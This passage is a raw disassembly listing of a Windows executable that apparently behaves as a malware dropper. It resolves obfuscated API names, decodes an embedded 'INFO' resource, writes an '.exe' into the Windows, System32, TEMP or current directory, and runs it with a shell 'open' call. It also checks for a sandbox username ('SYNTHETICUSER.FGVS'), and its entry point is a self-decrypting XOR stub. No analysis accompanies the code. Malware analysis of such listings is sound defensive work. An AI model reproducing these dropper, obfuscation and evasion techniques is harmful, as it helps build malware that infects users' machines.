96A39595h, 0A4A4h, 0FFFFFFFFh ; DATA XREF: sub_4070E0+7Eo dd 0Bh dword_407530 dd 9696A377h, 0A3939A7Dh, 0AAA392h, 0FFFFFFFFh, 0Eh ; DATA XREF: sub_4070E0+A5o dword_407544 dd 9296A374h, 0A38196A5h, 0A49694A0h, 72A4h, 0FFFFFFFFh ; DATA XREF: sub_4070E0+CAo dd 10h aXceesgctxtaqec db 'x₯ £t ₯©₯',0 ; DATA XREF: sub_4070E0+EEo align 10h dd 0FFFFFFFFh, 11h aGctxbgafcddCua db '£ €€~ £ͺ',0 ; DATA XREF: sub_4070E0+112o align 4 dd 0FFFFFFFFh, 0Eh dword_407594 dd 0A5A39A87h, 729D92A6h, 94A09D9Dh, 0A976h, 0FFFFFFFFh ; DATA XREF: sub_4070E0+137o dd 12h aIgEcbgafcddCua db '£₯£ €€~ £ͺ',0 ; DATA XREF: sub_4070E0+15Co align 10h dd 0FFFFFFFFh, 10h aDceesgctxtaqec db '₯ £t ₯©₯',0 ; DATA XREF: sub_4070E0+181o align 4 dd 0FFFFFFFFh, 0Ch dword_4075E4 dd 0A6A49683h, 9985969Eh, 959296A3h, 0 ; DATA XREF: sub_4070E0+1A6o ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4075F4 proc near ; CODE XREF: CODE:00407E47p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_5 = byte ptr -5 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFE8h push ebx push esi push edi xor edx, edx mov [ebp+var_18], edx mov [ebp+var_14], edx mov [ebp+var_10], edx mov [ebp+var_4], eax xor eax, eax push ebp push offset loc_4076B6 push dword ptr fs:[eax] mov fs:[eax], esp push offset aKernel32_dll_0 ; "kernel32.dll" call LoadLibraryA mov ebx, eax lea edx, [ebp+var_10] mov eax, offset dword_4076E0 call sub_407038 mov eax, [ebp+var_10] call sub_402A38 push eax ; lpProcName push ebx ; hModule call GetProcAddress_0 mov esi, eax lea edx, [ebp+var_14] mov eax, offset aXcewAcreegUjec ; "x₯wr₯₯£¦₯€r" call sub_407038 mov eax, [ebp+var_14] call sub_402A38 push eax push ebx call esi mov edi, eax lea edx, [ebp+var_18] mov eax, offset dword_407714 call sub_407038 mov eax, [ebp+var_18] call sub_402A38 push eax push ebx call esi mov [ebp+var_C], eax mov eax, [ebp+var_4] call sub_402A38 push eax call edi cmp eax, 0FFFFFFFFh jz short loc_40768E test al, 10h jnz short loc_407692 loc_40768E: ; CODE XREF: sub_4075F4+94j xor eax, eax jmp short loc_407694 ; --------------------------------------------------------------------------- loc_407692: ; CODE XREF: sub_4075F4+98j mov al, 1 loc_407694: ; CODE XREF: sub_4075F4+9Cj mov [ebp+var_5], al push ebx call [ebp+var_C] xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_4076BD loc_4076A8: ; CODE XREF: sub_4075F4+C7j lea eax, [ebp+var_18] mov edx, 3 call sub_4025EC retn ; --------------------------------------------------------------------------- loc_4076B6: ; DATA XREF: sub_4075F4+1Ao jmp loc_4022D0 ; --------------------------------------------------------------------------- jmp short loc_4076A8 ; --------------------------------------------------------------------------- loc_4076BD: ; CODE XREF: sub_4075F4+C1j ; DATA XREF: sub_4075F4+AFo mov al, [ebp+var_5] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4075F4 endp ; --------------------------------------------------------------------------- align 4 ; char aKernel32_dll_0[] aKernel32_dll_0 db 'kernel32.dll',0 ; DATA XREF: sub_4075F4+25o align 4 dd 0FFFFFFFFh, 0Eh dword_4076E0 dd 81A59678h, 7294A0A3h, 96A39595h, 0A4A4h, 0FFFFFFFFh ; DATA XREF: sub_4075F4+34o dd 12h aXcewAcreegUjec db 'x₯wr₯₯£¦₯€r',0 ; DATA XREF: sub_4075F4+52o align 4 dd 0FFFFFFFFh, 0Bh dword_407714 dd 9696A377h, 0A3939A7Dh, 0AAA392h ; DATA XREF: sub_4075F4+6Do ; =============== S U B R O U T I N E ======================================= sub_407720 proc near ; CODE XREF: CODE:00407C8Cp ; CODE:00407E94p var_108 = byte ptr -108h push ebx push esi add esp, 0FFFFFEF4h mov esi, edx mov ebx, eax lea edx, [esp+114h+var_108] mov eax, ebx call sub_401B14 lea edx, [esp+114h+var_108] mov eax, esp mov cl, 0Bh call sub_401948 mov eax, esi mov edx, esp call sub_402808 add esp, 10Ch pop esi pop ebx retn sub_407720 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407758 proc near ; CODE XREF: CODE:00407C4Ep ; CODE:00407CB4p var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFC8h push ebx push esi push edi xor ecx, ecx mov [ebp+var_38], ecx mov [ebp+var_34], ecx mov [ebp+var_30], ecx mov [ebp+var_2C], ecx mov [ebp+var_28], ecx mov [ebp+var_24], ecx mov [ebp+var_20], ecx mov [ebp+var_8], edx mov [ebp+var_4], eax xor eax, eax push ebp push offset loc_4078B5 push dword ptr fs:[eax] mov fs:[eax], esp push offset aKernel32_dll_1 ; "kernel32.dll" call LoadLibraryA mov ebx, eax lea edx, [ebp+var_20] mov eax, offset dword_4078E0 call sub_407038 mov eax, [ebp+var_20] call sub_402A38 push eax ; lpProcName push ebx ; hModule call GetProcAddress_0 mov esi, eax lea edx, [ebp+var_24] mov eax, offset dword_4078F8 call sub_407038 mov eax, [ebp+var_24] call sub_402A38 push eax push ebx call esi mov [ebp+var_1C], eax lea edx, [ebp+var_28] mov eax, offset dword_40790C call sub_407038 mov eax, [ebp+var_28] call sub_402A38 push eax push ebx call esi mov edi, eax lea edx, [ebp+var_2C] mov eax, offset dword_407924 call sub_407038 mov eax, [ebp+var_2C] call sub_402A38 push eax push ebx call esi mov [ebp+var_C], eax lea edx, [ebp+var_30] mov eax, offset dword_40793C call sub_407038 mov eax, [ebp+var_30] call sub_402A38 push eax push ebx call esi mov [ebp+var_10], eax lea edx, [ebp+var_34] mov eax, offset dword_407954 call sub_407038 mov eax, [ebp+var_34] call sub_402A38 push eax push ebx call esi mov [ebp+var_14], eax lea edx, [ebp+var_38] mov eax, offset dword_40796C call sub_407038 mov eax, [ebp+var_38] call sub_402A38 push eax push ebx call esi mov [ebp+var_18], eax push 0Ah mov eax, [ebp+var_8] push eax mov eax, ds:dword_40A694 push eax call edi mov esi, eax push esi mov eax, ds:dword_40A694 push eax call [ebp+var_C] mov edx, [ebp+var_4] mov [edx], eax push esi mov eax, ds:dword_40A694 push eax call [ebp+var_10] mov esi, eax push esi call [ebp+var_14] mov edi, eax test edi, edi jz short loc_407896 push esi call [ebp+var_18] loc_407896: ; CODE XREF: sub_407758+138j push ebx call [ebp+var_1C] xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_4078BC loc_4078A7: ; CODE XREF: sub_407758+162j lea eax, [ebp+var_38] mov edx, 7 call sub_4025EC retn ; --------------------------------------------------------------------------- loc_4078B5: ; DATA XREF: sub_407758+29o jmp loc_4022D0 ; --------------------------------------------------------------------------- jmp short loc_4078A7 ; --------------------------------------------------------------------------- loc_4078BC: ; CODE XREF: sub_407758+15Cj ; DATA XREF: sub_407758+14Ao mov eax, edi pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_407758 endp ; --------------------------------------------------------------------------- align 4 ; char aKernel32_dll_1[] aKernel32_dll_1 db 'kernel32.dll',0 ; DATA XREF: sub_407758+34o align 4 dd 0FFFFFFFFh, 0Eh dword_4078E0 dd 81A59678h, 7294A0A3h, 96A39595h, 0A4A4h, 0FFFFFFFFh ; DATA XREF: sub_407758+43o dd 0Bh dword_4078F8 dd 9696A377h, 0A3939A7Dh, 0AAA392h, 0FFFFFFFFh, 0Dh ; DATA XREF: sub_407758+61o dword_40790C dd 959F9A77h, 0A0A49683h, 9694A3A6h, 72h, 0FFFFFFFFh, 0Eh ; DATA XREF: sub_407758+7Do dword_407924 dd 96AB9A84h, 968397A0h, 0A3A6A0A4h, 9694h, 0FFFFFFFFh ; DATA XREF: sub_407758+98o dd 0Ch dword_40793C dd 9592A07Dh, 0A0A49683h, 9694A3A6h, 0 ; DATA XREF: sub_407758+B4o dd 0FFFFFFFFh, 0Ch dword_407954 dd 9C94A07Dh, 0A0A49683h, 9694A3A6h, 0 ; DATA XREF: sub_407758+D0o dd 0FFFFFFFFh, 0Ch dword_40796C dd 9696A377h, 0A0A49683h, 9694A3A6h, 0 ; DATA XREF: sub_407758+ECo ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40797C proc near ; CODE XREF: CODE:00407D65p ; CODE:00407D95p ... Buffer = byte ptr -109h var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFEF4h push ebx push esi mov esi, edx mov [ebp+var_4], eax mov eax, [ebp+var_4] call sub_402A28 xor eax, eax push ebp push offset loc_407A04 push dword ptr fs:[eax] mov fs:[eax], esp mov eax, esi call sub_4025C8 lea eax, [ebp+Buffer] xor ecx, ecx mov edx, 105h call sub_401964 mov ebx, 105h push ebx ; nSize lea eax, [ebp+Buffer] push eax ; lpBuffer mov eax, [ebp+var_4] call sub_402A38 push eax ; lpName call GetEnvironmentVariableA mov ebx, eax test ebx, ebx jbe short loc_4079EE mov eax, esi lea edx, [ebp+Buffer] mov ecx, 105h call sub_402814 loc_4079EE: ; CODE XREF: sub_40797C+5Ej xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_407A0B loc_4079FB: ; CODE XREF: sub_40797C+8Dj lea eax, [ebp+var_4] call sub_4025C8 retn ; --------------------------------------------------------------------------- loc_407A04: ; DATA XREF: sub_40797C+1Bo jmp loc_4022D0 ; --------------------------------------------------------------------------- jmp short loc_4079FB ; --------------------------------------------------------------------------- loc_407A0B: ; CODE XREF: sub_40797C+87j ; DATA XREF: sub_40797C+7Ao pop esi pop ebx mov esp, ebp pop ebp retn sub_40797C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407A14 proc near ; CODE XREF: CODE:00407D77p ; CODE:00407DB4p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFFF4h push ebx mov [ebp+var_C], ecx mov [ebp+var_8], edx mov [ebp+var_4], eax mov eax, [ebp+var_4] call sub_402A28 mov eax, [ebp+var_8] call sub_402A28 mov eax, [ebp+var_C] call sub_402A28 xor eax, eax push ebp push offset loc_407AAF push dword ptr fs:[eax] mov fs:[eax], esp jmp short loc_407A7A ; --------------------------------------------------------------------------- loc_407A4C: ; CODE XREF: sub_407A14+73j mov edx, [ebp+var_4] mov eax, [ebp+var_8] call sub_402B78 mov ebx, eax mov eax, [ebp+var_8] call sub_402840 mov ecx, eax lea eax, [ebp+var_4] mov edx, ebx call sub_402AD4 lea edx, [ebp+var_4] mov ecx, ebx mov eax, [ebp+var_C] call sub_402B1C loc_407A7A: ; CODE XREF: sub_407A14+36j mov edx, [ebp+var_4] mov eax, [ebp+var_8] call sub_402B78 test eax, eax jg short loc_407A4C mov eax, [ebp+arg_0] mov edx, [ebp+var_4] call sub_40261C xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_407AB6 loc_407AA1: ; CODE XREF: sub_407A14+A0j lea eax, [ebp+var_C] mov edx, 3 call sub_4025EC retn ; --------------------------------------------------------------------------- loc_407AAF: ; DATA XREF: sub_407A14+2Bo jmp loc_4022D0 ; --------------------------------------------------------------------------- jmp short loc_407AA1 ; --------------------------------------------------------------------------- loc_407AB6: ; CODE XREF: sub_407A14+9Aj ; DATA XREF: sub_407A14+88o pop ebx mov esp, ebp pop ebp retn 4 sub_407A14 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_407AC0 proc near ; CODE XREF: CODE:00407DFDp push ebx add esp, 0FFFFFEF8h mov ebx, eax mov eax, esp xor ecx, ecx mov edx, 105h call sub_401964 push esp ; lpBuffer push 104h ; nBufferLength call GetCurrentDirectoryA mov eax, ebx mov edx, esp mov ecx, 105h call sub_402814 add esp, 108h pop ebx retn sub_407AC0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407AF8 proc near ; DATA XREF: CODE:00407B6Co push ebp mov ebp, esp xor eax, eax push ebp push offset loc_407B17 push dword ptr fs:[eax] mov fs:[eax], esp xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_407B1E loc_407B16: ; CODE XREF: sub_407AF8+24j retn ; --------------------------------------------------------------------------- loc_407B17: ; DATA XREF: sub_407AF8+6o jmp loc_4022D0 ; --------------------------------------------------------------------------- jmp short loc_407B16 ; --------------------------------------------------------------------------- loc_407B1E: ; CODE XREF: sub_407AF8:loc_407B16j ; DATA XREF: sub_407AF8+19o pop ebp retn sub_407AF8 endp ; --------------------------------------------------------------------------- dword_407B20 dd 9 ; DATA XREF: CODE:00407B82o dd offset off_407B28 off_407B28 dd offset loc_403598 ; DATA XREF: CODE:00407B24o dd offset sub_403568 dd offset sub_403450 dd offset sub_403408 dd offset sub_4035D0 dd offset sub_4035A0 dd offset sub_4036E8 dd offset sub_4036B8 dd offset sub_403720 dd offset sub_4036F0 dd offset sub_4039D0 dd offset sub_4039A0 dd offset sub_406D18 dd offset sub_406B98 dd offset sub_406F70 dd offset sub_406F40 dd 0 dd offset sub_407AF8 ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov ecx, 0Dh loc_407B78: ; CODE XREF: CODE:00407B7Dj push 0 push 0 dec ecx jnz short loc_407B78 push ebx push esi push edi mov eax, offset dword_407B20 call sub_403524 xor eax, eax push ebp push offset loc_407FD2 push dword ptr fs:[eax] mov fs:[eax], esp push offset dword_407FE4 call LoadLibraryA mov ds:dword_40AA44, eax push offset dword_407FF4 call LoadLibraryA mov ds:dword_40AA48, eax lea edx, [ebp-14h] mov eax, offset dword_408008 call sub_407038 mov eax, [ebp-14h] call sub_402A38 push eax mov eax, ds:dword_40AA44 push eax call GetProcAddress_0 mov ebx, eax lea edx, [ebp-18h] mov eax, offset dword_408020 call sub_407038 mov eax, [ebp-18h] call sub_402A38 push eax mov eax, ds:dword_40AA44 push eax call ebx mov ds:dword_40AA38, eax lea edx, [ebp-1Ch] mov eax, offset dword_408034 call sub_407038 mov eax, [ebp-1Ch] call sub_402A38 push eax mov eax, ds:dword_40AA48 push eax call ebx mov ds:dword_40AA3C, eax lea edx, [ebp-20h] mov eax, offset dword_40804C call sub_407038 mov eax, [ebp-20h] call sub_402A38 push eax mov eax, ds:dword_40AA44 push eax call ebx mov ds:dword_40AA40, eax mov edx, offset aInfo ; "INFO" mov eax, offset dword_40A7D4 call sub_407758 mov ebx, eax test ebx, ebx jnz short loc_407C61 push 0 call ds:dword_40AA40 loc_407C61: ; CODE XREF: CODE:00407C57j mov edx, offset byte_40A7E0 mov eax, ebx mov ecx, ds:dword_40A7D4 call sub_401340 mov esi, 1 mov eax, offset dword_40A8E4 call sub_4025C8 mov edi, 0Ah loc_407C87: ; CODE XREF: CODE:00407F91j lea edx, [ebp-24h] mov eax, esi call sub_407720 mov ecx, [ebp-24h] mov eax, offset dword_40A8E4 mov edx, offset dword_408068 call sub_40288C mov eax, ds:dword_40A8E4 call sub_402A38 mov edx, eax mov eax, offset dword_40A7D8 call sub_407758 mov ebx, eax test ebx, ebx jz loc_407F87 mov eax, offset dword_40A7DC mov edx, ds:dword_40A7D8 call sub_402BC0 mov eax, offset dword_40A7DC call sub_402A8C mov edx, eax mov eax, ebx mov ecx, ds:dword_40A7D8 call sub_401340 cmp ds:byte_40A8E1, 1 jnz short loc_407D2B lea edx, [ebp-30h] mov eax, ds:dword_40A7DC call sub_407038 mov eax, [ebp-30h] push eax lea eax, [ebp-2Ch] push eax call sub_406DAC mov eax, [ebp-2Ch] push eax lea eax, [ebp-28h] push eax call sub_406E6C mov edx, [ebp-28h] mov eax, offset dword_40A7DC call sub_40261C jmp short loc_407D45 ; --------------------------------------------------------------------------- loc_407D2B: ; CODE XREF: CODE:00407CF3j lea edx, [ebp-34h] mov eax, ds:dword_40A7DC call sub_407038 mov edx, [ebp-34h] mov eax, offset dword_40A7DC call sub_40261C loc_407D45: ; CODE XREF: CODE:00407D29j mov eax, offset dword_40A8E8 mov edx, offset byte_40A7E1 mov ecx, 100h call sub_402814 lea eax, [ebp-38h] push eax lea edx, [ebp-3Ch] mov eax, offset aSystemroot ; "SystemRoot" call sub_40797C mov ecx, [ebp-3Ch] mov edx, offset dword_408088 mov eax, ds:dword_40A8E8 call sub_407A14 mov edx, [ebp-38h] mov eax, offset dword_40A8E8 call sub_40261C lea eax, [ebp-40h] push eax lea edx, [ebp-44h] mov eax, offset aSystemroot ; "SystemRoot" call sub_40797C lea eax, [ebp-44h] mov edx, offset dword_40809C call sub_402848 mov ecx, [ebp-44h] mov edx, offset dword_4080B0 mov eax, ds:dword_40A8E8 call sub_407A14 mov edx, [ebp-40h] mov eax, offset dword_40A8E8 call sub_40261C lea eax, [ebp-48h] push eax lea edx, [ebp-4Ch] mov eax, offset aTemp ; "TEMP" call sub_40797C mov ecx, [ebp-4Ch] mov edx, offset dword_4080D4 mov eax, ds:dword_40A8E8 call sub_407A14 mov edx, [ebp-48h] mov eax, offset dword_40A8E8 call sub_40261C lea eax, [ebp-50h] push eax lea eax, [ebp-54h] call sub_407AC0 mov ecx, [ebp-54h] mov edx, offset dword_4080E4 mov eax, ds:dword_40A8E8 call sub_407A14 mov edx, [ebp-50h] mov eax, offset dword_40A8E8 call sub_40261C cmp ds:byte_40A7E0, 0 jz loc_407F33 mov eax, ds:dword_40A8E8 call sub_402A38 mov ebx, eax mov edx, ebx lea eax, [ebp-58h] call sub_40279C mov eax, [ebp-58h] call sub_4075F4 test al, al jnz short loc_407E76 push 0 push ebx call CreateDirectoryA test eax, eax jnz short loc_407E76 lea edx, [ebp-5Ch] mov eax, offset aTemp ; "TEMP" call sub_40797C mov edx, [ebp-5Ch] mov eax, offset dword_40A8E8 call sub_40261C loc_407E76: ; CODE XREF: CODE:00407E4Ej ; CODE:00407E5Aj call sub_4014EC push ds:dword_40A8E8 push offset dword_4080F8 imul eax, esi, 1388h call sub_401984 lea edx, [ebp-60h] call sub_407720 push dword ptr [ebp-60h] push offset dword_408104 mov eax, offset dword_40A8E8 mov edx, 4 call sub_402900 mov edx, ds:dword_40A8E8 mov eax, offset dword_40A8EC call sub_401780 mov edx, 1 mov eax, offset dword_40A8EC call sub_401AA8 call sub_4012E4 call sub_401320 test eax, eax jnz loc_407F8F push 0 mov eax, offset dword_40A7DC call sub_402A8C mov edx, eax mov ecx, ds:dword_40A7D8 mov eax, offset dword_40A8EC call sub_4018D0 call sub_4012E4 mov eax, offset dword_40A8EC call sub_4018F0 call sub_4012E4 push 1 push 0 push 0 mov eax, ds:dword_40A8E8 call sub_402A38 push eax push offset aOpen ; "open" push 0 call ds:dword_40AA3C jmp short loc_407F8F ; --------------------------------------------------------------------------- loc_407F33: ; CODE XREF: CODE:00407E28j call sub_406F88 cmp al, 1 jnz short loc_407F43 xor eax, eax call sub_4025B0 ; --------------------------------------------------------------------------- loc_407F43: ; CODE XREF: CODE:00407F3Aj lea eax, [ebp-64h] call sub_406FBC mov eax, [ebp-64h] mov edx, offset aSyntheticuser_ ; "SYNTHETICUSER.FGVS" call sub_402984 jnz short loc_407F61 xor eax, eax call sub_4025B0 ; --------------------------------------------------------------------------- loc_407F61: ; CODE XREF: CODE:00407F58j push 0 lea edx, [ebp-68h] xor eax, eax call sub_40148C mov eax, [ebp-68h] push eax mov eax, offset dword_40A7DC call sub_402A8C xor ecx, ecx pop edx call sub_4070E0 test al, al jmp short loc_407F8F ; --------------------------------------------------------------------------- loc_407F87: ; CODE XREF: CODE:00407CBDj push 0 call ds:dword_40AA40 loc_407F8F: ; CODE XREF: CODE:00407EDBj ; CODE:00407F31j ... inc esi dec edi jnz loc_407C87 push 0 call ds:dword_40AA40 mov eax, ds:dword_40AA48 push eax call ds:dword_40AA38 mov eax, ds:dword_40AA44 push eax call ds:dword_40AA38 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_407FD9 loc_407FC4: ; CODE XREF: CODE:00407FD7j lea eax, [ebp-68h] mov edx, 16h call sub_4025EC retn ; --------------------------------------------------------------------------- loc_407FD2: ; DATA XREF: CODE:00407B8Fo jmp loc_4022D0 ; --------------------------------------------------------------------------- jmp short loc_407FC4 ; --------------------------------------------------------------------------- loc_407FD9: ; CODE XREF: CODE:00407FD1j ; DATA XREF: CODE:00407FBFo pop edi pop esi pop ebx call sub_4024E0 ; --------------------------------------------------------------------------- align 4 dword_407FE4 dd 6E72656Bh, 32336C65h, 6C6C642Eh, 0 ; DATA XREF: CODE:00407B9Ao dword_407FF4 dd 6C656873h, 2E32336Ch, 6C6C64h, 0FFFFFFFFh, 0Eh ; DATA XREF: CODE:00407BA9o dword_408008 dd 81A59678h, 7294A0A3h, 96A39595h, 0A4A4h, 0FFFFFFFFh ; DATA XREF: CODE:00407BBBo dd 0Bh dword_408020 dd 9696A377h, 0A3939A7Dh, 0AAA392h, 0FFFFFFFFh, 0Dh ; DATA XREF: CODE:00407BDEo dword_408034 dd 9D969984h, 96A9769Dh, 96A5A694h, 72h, 0FFFFFFFFh, 0Bh ; DATA XREF: CODE:00407C01o dword_40804C dd 0A59AA976h, 94A0A381h, 0A4A496h ; DATA XREF: CODE:00407C24o aInfo db 'INFO',0 ; DATA XREF: CODE:00407C44o align 10h dd 0FFFFFFFFh, 2 dword_408068 dd 4643h, 0FFFFFFFFh, 0Ah ; DATA XREF: CODE:00407C99o aSystemroot db 'SystemRoot',0 ; DATA XREF: CODE:00407D60o ; CODE:00407D90o align 10h dd 0FFFFFFFFh, 8 dword_408088 dd 6E697725h, 25726964h, 0 ; DATA XREF: CODE:00407D6Do dd 0FFFFFFFFh, 9 dword_40809C dd 7379535Ch, 336D6574h, 32h, 0FFFFFFFFh, 8 ; DATA XREF: CODE:00407D9Do dword_4080B0 dd 73797325h, 25726964h, 0 ; DATA XREF: CODE:00407DAAo dd 0FFFFFFFFh, 4 aTemp db 'TEMP',0 ; DATA XREF: CODE:00407DCDo ; CODE:00407E5Fo align 4 dd 0FFFFFFFFh, 6 dword_4080D4 dd 6D657425h, 2570h, 0FFFFFFFFh, 9 ; DATA XREF: CODE:00407DDAo dword_4080E4 dd 72756325h, 746E6572h, 25h, 0FFFFFFFFh, 1 ; DATA XREF: CODE:00407E05o dword_4080F8 dd 5Ch, 0FFFFFFFFh, 4 ; DATA XREF: CODE:00407E81o dword_408104 dd 6578652Eh, 0 ; DATA XREF: CODE:00407E9Co aOpen db 'open',0 ; DATA XREF: CODE:00407F24o align 4 dd 0FFFFFFFFh, 12h aSyntheticuser_ db 'SYNTHETICUSER.FGVS',0 ; DATA XREF: CODE:00407F4Eo align 10h ; =============== S U B R O U T I N E ======================================= public start start proc near sub eax, eax loc_408132: ; CODE XREF: start+8j dec al or al, al jz short loc_40813C jnz short loc_408132 jmp short near ptr byte_4081A3 ; --------------------------------------------------------------------------- loc_40813C: ; CODE XREF: start+6j sub ebx, ebx sub ecx, ecx mov cl, 65h loc_408142: ; CODE XREF: start+14j inc ebx dec ecx jnz short loc_408142 call sub_408170 add edi, 128B5h sub edx, edx xor edx, 247Fh push edi loc_40815A: ; CODE XREF: start+3Bj xchg al, [edi] xor ax, bx xchg al, [edi] inc edi add bx, 4Eh dec edx cmp edx, 0 ja short loc_40815A pop edi jmp edi start endp ; =============== S U B R O U T I N E ======================================= sub_408170 proc near ; CODE XREF: start+16p pop edi jmp edi sub_408170 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 dd 0Bh dup(0) db 3 dup(0) byte_4081A3 db 0 ; CODE XREF: start+Aj align 80h CODE ends ; Section 2. (virtual address 00009000) ; Virtual size : 00000418 ( 1048.) ; Section size in file : 00000600 ( 1536.) ; Offset to raw data for section: 00007600 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write DATA segment para public 'DATA' use32 assume cs:DATA ;org 409000h dword_409000 dd 0 ; DATA XREF: sub_4024B0+2w ; sub_4024E0+9o ... dword_409004 dd 0 ; DATA XREF: sub_401280w ; sub_4024E0:loc_40250Fr ... dword_409008 dd 0 ; DATA XREF: sub_4014EC+31w ; sub_401984+3r ... byte_40900C db 2 ; DATA XREF: sub_4019C8+4Er db 8Dh, 40h, 0 word_409010 dw 1332h ; DATA XREF: sub_401EE8+3r dw 0C08Bh byte_409014 db 0 ; DATA XREF: sub_4020F0r sub_40210Cr ... db 8Dh, 40h, 0 byte_409018 db 0 ; DATA XREF: sub_4021A4+52r ; sub_4021A4:loc_402231r db 8Dh, 40h, 0 byte_40901C db 1 ; DATA XREF: sub_401780+25r db 8Dh, 40h, 0 dword_409020 dd 0 ; DATA XREF: sub_402F04r sub_403368r ... dword_409024 dd 0 ; DATA XREF: sub_403378+4r off_409028 dd offset sub_403378 ; DATA XREF: sub_4024E0+66r off_40902C dd offset nullsub_1 ; DATA XREF: sub_402C70+67r off_409030 dd offset nullsub_1 ; DATA XREF: sub_402C70+71r off_409034 dd offset sub_4023B8 ; DATA XREF: sub_4023B8+Fr ; sub_4023B8+35r ... off_409038 dd offset sub_402384 ; DATA XREF: sub_4024E0:loc_40252Er off_40903C dd offset nullsub_1 ; DATA XREF: sub_4024E0:loc_402561r off_409040 dd offset nullsub_1 ; DATA XREF: sub_403408:loc_403430r ; DWORD dwFlags dwFlags dd 0 ; DATA XREF: sub_4011B0+1r ; sub_4011C4+4r ... off_409048 dd offset sub_4011B0 ; DATA XREF: sub_401200+4r ; sub_401230+3Fr off_40904C dd offset sub_4011C4 ; DATA XREF: sub_401218+4r ; sub_401230+26r off_409050 dd offset sub_4011E8 ; DATA XREF: sub_401230+Dr byte_409054 db 0 ; DATA XREF: sub_40128C+36r aRsu db 'ΛΜΘΙΧΟΘΝΞΫΨΚΩΪάέήίΰαγ',0 aFxn@ db 'δε@',0 dword_409070 dd 3 ; DATA XREF: sub_4019C8+5Ar align 8 dd 1, 2, 3, 3 dup(0) off_409090 dd offset nullsub_1 ; DATA XREF: sub_4024E0+38r dword_409094 dd 0 ; DATA XREF: sub_403518o ; sub_403524+33o dword_409098 dd 0 ; DATA XREF: sub_403524+1Bw dword_40909C dd 0 ; DATA XREF: sub_403524+22w dword_4090A0 dd 0 ; DATA XREF: sub_403524+29w dd 2 dup(0) dword_4090AC dd 0 ; DATA XREF: sub_406B98+15Do dword_4090B0 dd 0 ; DATA XREF: sub_406B98+153o dword_4090B4 dd 0 ; DATA XREF: sub_406094+1Bw ; sub_406350+69r dword_4090B8 dd 0 ; DATA XREF: sub_406094+24w dword_4090BC dd 0 ; DATA XREF: sub_406094+2Dw dword_4090C0 dd 0 ; DATA XREF: sub_406094+36w dword_4090C4 dd 0 ; DATA XREF: sub_406094+3Bo ; sub_406B98+149o dword_4090C8 dd 0 ; DATA XREF: sub_405474+C4r ; sub_4060EC+1Br ... dd 7 dup(0) off_4090E8 dd offset dword_4043C8 ; DATA XREF: sub_406B98+70o ; sub_406D18+37o dword_4090EC dd 0 ; DATA XREF: sub_40685C+1Cw ; sub_40685C:loc_40687Dr ... off_4090F0 dd offset dword_404410 ; DATA XREF: sub_406B98+5Bo dd offset dword_404410+0Ch off_4090F8 dd offset off_4037E8 ; DATA XREF: sub_404654+43r ; CODE:00406B8Co off_4090FC dd offset off_4037F0 ; DATA XREF: CODE:00406B80o tbyte_409100 dt 1.0e18 ; DATA XREF: sub_404F3D+63r dw 0C08Bh flt_40910C db 0Ah, 0, 0, 0 ; DATA XREF: sub_404BF4+23r ; sub_404F3D+78r off_409110 dd offset off_403870 ; DATA XREF: sub_4051EC+3Ao ; CODE:00406B74o off_409114 dd offset off_403878 ; DATA XREF: CODE:00406B68o off_409118 dd offset off_403880 ; DATA XREF: CODE:00406B5Co off_40911C dd offset off_403888 ; DATA XREF: CODE:00406B50o off_409120 dd offset off_403890 ; DATA XREF: CODE:00406B44o off_409124 dd offset off_403898 ; DATA XREF: CODE:00406B38o off_409128 dd offset off_4038A0 ; DATA XREF: CODE:00406B2Co off_40912C dd offset off_4038A8 ; DATA XREF: CODE:00406B20o off_409130 dd offset off_4038B0 ; DATA XREF: CODE:00406B14o off_409134 dd offset off_4038B8 ; DATA XREF: CODE:00406B08o off_409138 dd offset off_4038C0 ; DATA XREF: CODE:00406AFCo off_40913C dd offset off_4038C8 ; DATA XREF: CODE:00406AF0o off_409140 dd offset off_4038D0 ; DATA XREF: sub_4051EC+5Do ; CODE:00406AE4o off_409144 dd offset off_4038D8 ; DATA XREF: CODE:00406AD8o off_409148 dd offset off_4038E0 ; DATA XREF: CODE:00406ACCo off_40914C dd offset off_4038E8 ; DATA XREF: CODE:00406AC0o off_409150 dd offset off_4038F0 ; DATA XREF: CODE:00406AB4o off_409154 dd offset off_4038F8 ; DATA XREF: CODE:00406AA8o off_409158 dd offset off_403900 ; DATA XREF: CODE:00406A9Co off_40915C dd offset off_403908 ; DATA XREF: CODE:00406A90o off_409160 dd offset off_403910 ; DATA XREF: CODE:00406A84o off_409164 dd offset off_403918 ; DATA XREF: CODE:00406A78o off_409168 dd offset off_403920 ; 